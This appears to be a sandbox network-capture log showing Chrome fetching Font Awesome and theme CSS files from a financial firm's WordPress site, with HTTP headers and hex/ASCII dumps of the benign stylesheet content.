2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 74 2d 52 65 67 75 6c 61 72 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 31 33 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 37 70 78 3b 7d 0a 75 6c 2e 74 61 62 73 20 6c 69 2e 63 75 72 72 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 37 39 36 42 20 6e 6f 6e 65 20 72 65 70 65 61 74 20 73 63 72 6f 6c 6c 20 30 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 7d 0a 2e 74 61 62 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 2e 74 61 62 2d 63 6f 6e 74 65 6e 74 2e 63 75 72 72 65 6e 74 7b 64 69 73 70 6c 61 79 3a 69 6e 68 65 72 69 74 3b 7d 0a 2e 74 65 61 6d 20 69 6d 67 7b 20 2f 2a 66 69 6c 74 65 72 3a 67 72 61 79 73 63 61 6c 65 28 31 29 3b 2a 2f Data Ascii: t-Regular';font-weight:400;padding:4px 13px;font-size:17px;}ul.tabs li.current{background:#00796B none repeat scroll 0 0;border-radius:4px;color:#fff;}.tab-content{display:none;}.tab-content.current{display:inherit;}.team img{ /filter:grayscale(1);/
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 39 66 38 66 39 3b 7d 0a 2e 69 6e 6e 65 72 5f 70 61 6e 65 6c 20 68 31 7b 77 69 64 74 68 3a 31 30 30 25 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 2f 2a 66 6f 6e 74 3a 34 30 70 78 20 47 6f 74 68 61 6d 42 6f 6c 64 3b 2a 2f 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 4d 6f 6e 74 73 65 72 72 61 74 2d 42 6f 6c 64 27 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 3a 30 20 30 20 33 34 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 37 39 36 42 3b 7d 0a 2e 69 6e 6e 65 72 5f 70 61 6e 65 6c 20 68 32 7b 77 69 64 74 68 3a 31 30 30 25 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 63 6f 6c 6f 72 3a 23 30 30 37 39 36 42 3b 2f 2a 66 6f 6e 74 3a 33 34 70 78 20 47 6f 74 68 61 6d 42 6f 6f 6b 3b 2a Data Ascii: ;background:#f9f8f9;}.inner_panel h1{width:100%;float:left;/font:40px GothamBold;/font-size:40px;font-family: 'Montserrat-Bold';text-align:left;margin:0 0 34px;color:#00796B;}.inner_panel h2{width:100%;float:left;color:#00796B;/font:34px GothamBook;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	598	OUT	GET /wp-content/themes/x-child/font-awesome/css/font-awesome.css HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:54 UTC	713	IN	HTTP/1.1 200 OK Connection: close Content-Length: 25197 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/css x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5926c2d9-626d" last-modified: Thu, 25 May 2017 11:41:13 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:54 GMT X-Served-By: cache-lga21969-LGA, cache-lga21946-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867694.443489,VS0,VE161 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 31 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2f 2a 20 46 4f 4e 54 20 50 41 54 48 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 41 77 65 73 6f 6d 65 27 3b 0a Data Ascii: /! Font Awesome 4.1.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) // FONT PATH * -------------------------- */@font-face { font-family: 'FontAwesome';
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 31 34 65 6d 3b 0a 20 20 74 6f 70 3a 20 30 2e 31 34 32 38 35 37 31 34 65 6d 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 66 61 2d 6c 69 2e 66 61 2d 6c 67 20 7b 0a 20 20 6c 65 66 74 3a 20 2d 31 2e 38 35 37 31 34 32 38 36 65 6d 3b 0a 7d 0a 2e 66 61 2d 62 6f 72 64 65 72 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 32 35 65 6d 20 2e 31 35 65 6d 3b 0a 20 20 62 6f 72 64 65 72 3a 20 73 6f 6c 69 64 20 30 2e 30 38 65 6d 20 23 65 65 65 65 65 65 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 31 65 6d 3b 0a 7d 0a 2e 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 66 61 Data Ascii: 14em; top: 0.14285714em; text-align: center;}.fa-li.fa-lg { left: -1.85714286em;}.fa-border { padding: .2em .25em .15em; border: solid 0.08em #eeeeee; border-radius: .1em;}.pull-right { float: right;}.pull-left { float: left;}.fa
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 6e 3d 32 29 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 0a 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 0a 20 20 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 0a 7d 0a 2e 66 61 2d 72 6f 74 61 74 65 2d 32 37 30 20 7b 0a 20 20 66 69 6c 74 65 72 3a 20 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 33 Data Ascii: n=2); -webkit-transform: rotate(180deg); -moz-transform: rotate(180deg); -ms-transform: rotate(180deg); -o-transform: rotate(180deg); transform: rotate(180deg);}.fa-rotate-270 { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 64 20 6f 66 66 20 72 61 6e 64 6f 6d 20 63 68 61 72 61 63 74 65 72 73 20 74 68 61 74 20 72 65 70 72 65 73 65 6e 74 20 69 63 6f 6e 73 20 2a 2f 0a 2e 66 61 2d 67 6c 61 73 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 30 22 3b 0a 7d 0a 2e 66 61 2d 6d 75 73 69 63 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 31 22 3b 0a 7d 0a 2e 66 61 2d 73 65 61 72 63 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 32 22 3b 0a 7d 0a 2e 66 61 2d 65 6e 76 65 6c 6f 70 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 33 22 3b 0a 7d 0a 2e 66 61 2d 68 65 61 72 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 34 22 Data Ascii: d off random characters that represent icons */.fa-glass:before { content: "\f000";}.fa-music:before { content: "\f001";}.fa-search:before { content: "\f002";}.fa-envelope-o:before { content: "\f003";}.fa-heart:before { content: "\f004"
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 22 3b 0a 7d 0a 2e 66 61 2d 72 65 66 72 65 73 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 31 22 3b 0a 7d 0a 2e 66 61 2d 6c 69 73 74 2d 61 6c 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 32 22 3b 0a 7d 0a 2e 66 61 2d 6c 6f 63 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 33 22 3b 0a 7d 0a 2e 66 61 2d 66 6c 61 67 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 34 22 3b 0a 7d 0a 2e 66 61 2d 68 65 61 64 70 68 6f 6e 65 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 35 22 3b 0a 7d 0a 2e 66 61 2d 76 6f 6c 75 6d 65 2d 6f 66 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c Data Ascii: ";}.fa-refresh:before { content: "\f021";}.fa-list-alt:before { content: "\f022";}.fa-lock:before { content: "\f023";}.fa-flag:before { content: "\f024";}.fa-headphones:before { content: "\f025";}.fa-volume-off:before { content: "\
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 30 22 3b 0a 7d 0a 2e 66 61 2d 6d 61 70 2d 6d 61 72 6b 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 31 22 3b 0a 7d 0a 2e 66 61 2d 61 64 6a 75 73 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 32 22 3b 0a 7d 0a 2e 66 61 2d 74 69 6e 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 33 22 3b 0a 7d 0a 2e 66 61 2d 65 64 69 74 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 70 65 6e 63 69 6c 2d 73 71 75 61 72 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 34 22 3b 0a 7d 0a 2e 66 61 2d 73 68 61 72 65 2d 73 71 75 61 72 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 Data Ascii: fore { content: "\f040";}.fa-map-marker:before { content: "\f041";}.fa-adjust:before { content: "\f042";}.fa-tint:before { content: "\f043";}.fa-edit:before,.fa-pencil-square-o:before { content: "\f044";}.fa-share-square-o:before {
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 6c 65 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 30 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 31 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 32 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 33 22 3b 0a 7d 0a 2e 66 61 2d 6d 61 69 6c 2d 66 6f 72 77 61 72 64 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 73 68 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 34 22 3b 0a 7d 0a 2e 66 61 Data Ascii: }.fa-arrow-left:before { content: "\f060";}.fa-arrow-right:before { content: "\f061";}.fa-arrow-up:before { content: "\f062";}.fa-arrow-down:before { content: "\f063";}.fa-mail-forward:before,.fa-share:before { content: "\f064";}.fa
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 72 2d 63 68 61 72 74 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 30 22 3b 0a 7d 0a 2e 66 61 2d 74 77 69 74 74 65 72 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 31 22 3b 0a 7d 0a 2e 66 61 2d 66 61 63 65 62 6f 6f 6b 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 32 22 3b 0a 7d 0a 2e 66 61 2d 63 61 6d 65 72 61 2d 72 65 74 72 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 33 22 3b 0a 7d 0a 2e 66 61 2d 6b 65 79 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 34 22 3b 0a 7d 0a 2e 66 61 2d 67 65 61 72 73 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 63 6f 67 73 Data Ascii: r-chart-o:before { content: "\f080";}.fa-twitter-square:before { content: "\f081";}.fa-facebook-square:before { content: "\f082";}.fa-camera-retro:before { content: "\f083";}.fa-key:before { content: "\f084";}.fa-gears:before,.fa-cogs
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 30 22 3b 0a 7d 0a 2e 66 61 2d 62 75 6c 6c 68 6f 72 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 31 22 3b 0a 7d 0a 2e 66 61 2d 62 65 6c 6c 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 66 33 22 3b 0a 7d 0a 2e 66 61 2d 63 65 72 74 69 66 69 63 61 74 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 33 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 6f 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 34 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 6f 2d 6c 65 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 35 22 3b 0a 7d 0a 2e 66 61 2d 68 61 Data Ascii: content: "\f0a0";}.fa-bullhorn:before { content: "\f0a1";}.fa-bell:before { content: "\f0f3";}.fa-certificate:before { content: "\f0a3";}.fa-hand-o-right:before { content: "\f0a4";}.fa-hand-o-left:before { content: "\f0a5";}.fa-ha
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 61 22 3b 0a 7d 0a 2e 66 61 2d 6c 69 73 74 2d 6f 6c 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 62 22 3b 0a 7d 0a 2e 66 61 2d 73 74 72 69 6b 65 74 68 72 6f 75 67 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 63 22 3b 0a 7d 0a 2e 66 61 2d 75 6e 64 65 72 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 64 22 3b 0a 7d 0a 2e 66 61 2d 74 61 62 6c 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 65 22 3b 0a 7d 0a 2e 66 61 2d 6d 61 67 69 63 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 64 30 22 3b 0a 7d 0a 2e 66 61 2d 74 72 75 63 6b 3a 62 65 66 6f 72 Data Ascii: content: "\f0ca";}.fa-list-ol:before { content: "\f0cb";}.fa-strikethrough:before { content: "\f0cc";}.fa-underline:before { content: "\f0cd";}.fa-table:before { content: "\f0ce";}.fa-magic:before { content: "\f0d0";}.fa-truck:befor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	602	OUT	GET /wp-content/themes/x-child/font-awesome/css/font-awesome.min.css HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:54 UTC	712	IN	HTTP/1.1 200 OK Connection: close Content-Length: 20769 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/css x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5926c2d8-5121" last-modified: Thu, 25 May 2017 11:41:12 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:54 GMT X-Served-By: cache-ewr18158-EWR, cache-ewr18148-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867695.734953,VS0,VE61 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2f 2a 21 0d 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 31 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0d 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0d 0a 20 2a 2f 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 41 77 65 73 6f 6d 65 27 3b 73 72 63 3a 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 65 6f 74 3f 76 3d 34 2e 31 2e 30 27 Data Ascii: /! Font Awesome 4.1.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.1.0'
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 69 6e 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 32 73 20 69 6e 66 69 6e 69 74 65 20 6c 69 6e 65 61 72 3b 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 32 73 20 69 6e 66 69 6e 69 74 65 20 6c 69 6e 65 61 72 3b 2d 6f 2d 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 32 73 20 69 6e 66 69 6e 69 74 65 20 6c 69 6e 65 61 72 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 32 73 20 69 6e 66 69 6e 69 74 65 20 6c 69 6e 65 61 72 7d 40 2d 6d 6f 7a 2d 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 7b 30 25 7b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 31 30 30 25 7b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 64 65 67 29 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 Data Ascii: in{-webkit-animation:spin 2s infinite linear;-moz-animation:spin 2s infinite linear;-o-animation:spin 2s infinite linear;animation:spin 2s infinite linear}@-moz-keyframes spin{0%{-moz-transform:rotate(0deg)}100%{-moz-transform:rotate(359deg)}}@-webkit-key
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2d 31 2c 20 31 29 7d 2e 66 61 2d 66 6c 69 70 2d 76 65 72 74 69 63 61 6c 7b 66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 32 2c 20 6d 69 72 72 6f 72 3d 31 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2c 20 2d 31 29 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2c 20 2d 31 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2c 20 2d 31 29 3b 2d Data Ascii: -ms-transform:scale(-1, 1);-o-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1);-webkit-transform:scale(1, -1);-moz-transform:scale(1, -1);-ms-transform:scale(1, -1);-
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2d 72 6f 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 38 22 7d 2e 66 61 2d 64 6f 77 6e 6c 6f 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 39 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 61 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 6f 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 62 22 7d 2e 66 61 2d 69 6e 62 6f 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 63 22 7d 2e 66 61 2d 70 6c 61 79 2d 63 69 72 63 6c 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 64 22 7d 2e 66 61 2d 72 6f 74 61 74 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 2c Data Ascii: -road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 72 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 65 22 7d 2e 66 61 2d 70 65 6e 63 69 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 30 22 7d 2e 66 61 2d 6d 61 70 2d 6d 61 72 6b 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 31 22 7d 2e 66 61 2d 61 64 6a 75 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 32 22 7d 2e 66 61 2d 74 69 6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 33 22 7d 2e 66 61 2d 65 64 69 74 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 70 65 6e 63 69 6c 2d 73 71 75 61 72 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 34 22 7d 2e 66 61 2d 73 68 61 72 65 2d 73 71 75 61 72 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 Data Ascii: re-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{cont
